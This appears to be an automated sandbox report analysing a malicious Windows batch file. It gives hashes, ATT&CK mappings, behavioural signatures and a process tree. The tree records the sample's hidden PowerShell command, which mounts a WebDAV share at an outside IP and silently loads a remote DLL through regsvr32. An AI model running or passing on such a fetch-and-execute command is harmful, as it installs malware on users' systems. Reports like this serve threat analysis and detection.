51c5cbc4f9e7ffd7eccd777ce55895c173863e971d78ef413ddb4d05828026d6

Analysis

max time kernel
100s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 17:32

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General

Target

31231314650028122.bat
Size

12KB
MD5

6eceb7bcb0f85ba42c310283d9acb20b
SHA1

cc473f44a249e836d7b2e873986a4d28cdcd7f63
SHA256

51c5cbc4f9e7ffd7eccd777ce55895c173863e971d78ef413ddb4d05828026d6
SHA512

85935c2cd03fa1bb5979ed210d7accabe9577c5202c867ff94859a5b668496a7da417d5a89c5223f1b3acf9cedbe23a5fd5f14107eb6b5dbb402eadfbf65ced9
SSDEEP

384:jwUiaJy6uUvv3uz53ZUzO0UL+vc+z5MH4axIisey1ocXiHE1:kUjJy6uUn3uz53ZUzO09N64aZsH1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3952	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3952	powershell.exe
3952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3952	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4736	wordpad.exe
4736	wordpad.exe
4736	wordpad.exe
4736	wordpad.exe
4736	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 4736	1560	cmd.exe	85
PID 1560 wrote to memory of 4736	1560	cmd.exe	85
PID 1560 wrote to memory of 3952	1560	cmd.exe	87
PID 1560 wrote to memory of 3952	1560	cmd.exe	87
PID 3952 wrote to memory of 5064	3952	powershell.exe	89
PID 3952 wrote to memory of 5064	3952	powershell.exe	89
PID 3952 wrote to memory of 3352	3952	powershell.exe	90
PID 3952 wrote to memory of 3352	3952	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31231314650028122.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\279943264417817.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:5064
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\279943264417817.dll
    3⤵
    PID:3352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1mstyyxj.cxy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3952-2-0x0000019AB2D00000-0x0000019AB2D22000-memory.dmp

Filesize
136KB

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